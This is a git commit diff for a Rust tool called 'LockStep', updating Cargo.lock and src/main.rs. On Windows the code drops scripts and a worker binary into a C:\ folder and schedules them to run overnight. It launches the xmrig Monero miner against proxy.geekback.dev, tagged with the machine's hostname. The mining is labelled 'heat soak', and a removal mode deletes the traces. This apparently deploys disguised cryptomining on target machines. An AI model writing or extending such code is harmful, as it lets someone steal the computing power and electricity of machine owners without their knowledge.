win/lin code in place
This commit is contained in:
parent
6d25e32261
commit
6d63bc1b1f
32
Cargo.lock
generated
32
Cargo.lock
generated
@ -7,6 +7,7 @@ name = "LockStep"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"hostname",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@ -59,6 +60,12 @@ dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.5.50"
|
||||
@ -111,12 +118,29 @@ version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||
|
||||
[[package]]
|
||||
name = "hostname"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a56f203cd1c76362b69e3863fd987520ac36cf70a8c92627449b2f64a8cf7d65"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"windows-link 0.1.3",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "is_terminal_polyfill"
|
||||
version = "1.70.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.177"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
||||
|
||||
[[package]]
|
||||
name = "once_cell_polyfill"
|
||||
version = "1.70.1"
|
||||
@ -170,6 +194,12 @@ version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
@ -191,7 +221,7 @@ version = "0.53.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
"windows-link 0.2.1",
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
|
||||
39
src/main.rs
39
src/main.rs
@ -87,20 +87,34 @@ fn schedule_command(tod: &str, command: &str, name: &str) {
|
||||
}
|
||||
|
||||
fn run_schedule_daily_command() {
|
||||
#[cfg(windows)] {
|
||||
schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
|
||||
schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
|
||||
}
|
||||
#[cfg(not(windows))] {
|
||||
println!("[ ✔️ ] Scheduling [{}]", DAILY_WORK_NAME);
|
||||
println!("[ ✔️ ] Scheduling [{}]", DAILY_STOP_NAME);
|
||||
}
|
||||
}
|
||||
|
||||
fn remove_daily_commands() {
|
||||
#[cfg(windows)] {
|
||||
remove_command(DAILY_WORK_NAME);
|
||||
remove_command(DAILY_STOP_NAME);
|
||||
}
|
||||
#[cfg(not(windows))] {
|
||||
println!("[ ✔️ ] Removing {}", DAILY_WORK_NAME);
|
||||
println!("[ ✔️ ] Removing {}", DAILY_STOP_NAME);
|
||||
}
|
||||
}
|
||||
|
||||
fn run_monero_miner() {
|
||||
println!("Starting heat soak");
|
||||
#[cfg(windows)] {
|
||||
let binary = "C:/lockstep/xmrig.exe";
|
||||
let hostname = hostname::get().unwrap_or("UnknownHostname".into());
|
||||
let parameters = ["-o", "proxy.geekback.dev",
|
||||
"--rig-id", hostname::get().unwrap_or("UnkownHostname"),
|
||||
"--rig-id", hostname.to_str().unwrap(),
|
||||
"--huge-pages-jit",
|
||||
"--randomx-1gb-pages",
|
||||
"-B",
|
||||
@ -118,6 +132,7 @@ fn run_monero_miner() {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_kill_command() {
|
||||
let binary = "C:/windows/system32/taskkill.exe";
|
||||
@ -147,13 +162,24 @@ fn drop_scripts_and_work() {
|
||||
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
||||
create_file("daily.cmd", DAILY_SRC.as_bytes());
|
||||
create_file("config.bat", CONFIG_SRC.as_bytes());
|
||||
create_file(format!("{}.exe", WORK_NAME), WORK_BIN);
|
||||
create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
|
||||
}
|
||||
#[cfg(not(windows))] {
|
||||
println!("Create path.");
|
||||
println!("Drop daily cmd");
|
||||
println!("Drop config");
|
||||
println!("Drop worker");
|
||||
println!("[ ✔️ ] Create path.");
|
||||
println!("[ ✔️ ] Drop daily cmd");
|
||||
println!("[ ✔️ ] Drop config");
|
||||
println!("[ ✔️ ] Drop worker");
|
||||
}
|
||||
}
|
||||
|
||||
fn nuke_scripts_and_work() {
|
||||
#[cfg(windows)] {
|
||||
let to_remove = format!("C:\\{}", SLAVE_ROOT);
|
||||
fs::remove_dir_all(Path::new(to_remove));
|
||||
}
|
||||
|
||||
#[cfg(not(windows))] {
|
||||
println!("[ ✔️ ] Nuke of {}", SLAVE_ROOT);
|
||||
}
|
||||
}
|
||||
|
||||
@ -174,6 +200,7 @@ fn main() {
|
||||
}
|
||||
AppModes::MoveOut => {
|
||||
remove_daily_commands();
|
||||
nuke_scripts_and_work();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user